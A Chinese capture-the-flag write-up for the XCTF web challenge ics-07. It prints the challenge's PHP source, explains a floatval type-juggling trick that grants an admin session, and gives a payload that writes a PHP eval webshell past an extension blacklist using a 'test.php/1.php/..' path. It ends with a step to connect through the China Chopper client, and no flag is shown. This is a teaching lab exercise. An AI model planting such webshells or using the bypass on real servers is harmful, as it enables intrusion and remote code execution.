攻防世界-web-ics-07(PHP弱型別、linux目錄結構特性繞過檔案型別過濾)
阿新 • • 發佈:2020-09-16
工控雲管理系統專案管理頁面解析漏洞。
進入題目後,點選進入專案管理頁面。
點選view-source檢視原始碼。
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>cetc7</title> </head> <body> <?php session_start(); if (!isset($_GET[page])) { show_source(__FILE__); die(); } if (isset($_GET[page]) && $_GET[page] != 'index.php') { include('flag.php'); }else { header('Location: ?page=flag.php'); }View Code?> <form action="#" method="get"> page : <input type="text" name="page" value=""> id : <input type="text" name="id" value=""> <input type="submit" name="submit" value="submit"> </form> <br /> <a href="index.phps">view-source</a> <?php if ($_SESSION['admin']) { $con = $_POST['con']; $file = $_POST['file']; $filename = "backup/".$file; if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){ die("Bad file extension"); }else{ chdir('uploaded'); $f = fopen($filename, 'w'); fwrite($f, $con); fclose($f); } }?> <?php if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') { include 'config.php'; $id = mysql_real_escape_string($_GET[id]); $sql="select * from cetc007.user where id='$id'"; $result = mysql_query($sql); $result = mysql_fetch_object($result); } else { $result = False; die(); } if(!$result)die("<br >something wae wrong ! <br>"); if($result){ echo "id: ".$result->id."</br>"; echo "name:".$result->user."</br>"; $_SESSION['admin'] = True; } ?> </body> </html>
1 程式碼解析:發現漏洞
下面對程式碼進行解析。關鍵程式碼有3段。
第一段
如果傳入的引數page的值不是index.php,則包含flag.php,否則重定向到?page=flag.php。
<?php session_start(); if (!isset($_GET[page])) { show_source(__FILE__); die(); } if (isset($_GET[page]) && $_GET[page] != 'index.php') { include('flag.php'); }else { header('Location: ?page=flag.php'); } ?>
第二段
在$_SESSION['admin'] = True的情況下,POST提交con和file兩個引數,對$filename進行正則判斷,如果判斷正確檔案會被上傳到uploaded/backup目錄下。正則匹配這裡把一些字尾加入了黑名單
<?php if ($_SESSION['admin']) { $con = $_POST['con']; $file = $_POST['file']; $filename = "backup/".$file; if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){ die("Bad file extension"); }else{ chdir('uploaded'); $f = fopen($filename, 'w'); fwrite($f, $con); fclose($f); } } ?>
第三段
這一段可以使$_SESSION['admin'] = True;我們來看一下怎麼構造。他需要獲取一個id引數, 並且id不為1,且最後一位等於9。
這裡用到了floatval這個函式,floatval 函式用於獲取變數的浮點值,但是floatval在遇到字元時會截斷後面的部分,比如-,+,空格等,所以可以構造id=1 9來滿足第一個if條件,if條件滿足可以使得$result變數為TRUE。成功使$_SESSION['admin'] = True;
<?php if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') { include 'config.php'; $id = mysql_real_escape_string($_GET[id]); $sql="select * from cetc007.user where id='$id'"; $result = mysql_query($sql); $result = mysql_fetch_object($result); } else { $result = False; die(); } if(!$result)die("<br >something wae wrong ! <br>"); if($result){ echo "id: ".$result->id."</br>"; echo "name:".$result->user."</br>"; $_SESSION['admin'] = True; } ?>
2 構造payload:上傳木馬
下面考慮如何上傳木馬檔案。這裡利用Linux的一個目錄結構特性。我們遞迴的在1.php資料夾中再建立2.php,訪問1.php/2.php/..進入的是1.php資料夾
payloa如下
con=<?php @eval($_POST[muma]);?>&file=test.php/1.php/..
注意這裡page引數的值不能為flag.php,否則是上傳不成功的。
訪問/uploaded/backup/目錄,發現上傳成功。
3 菜刀連線:獲取flag
上菜刀。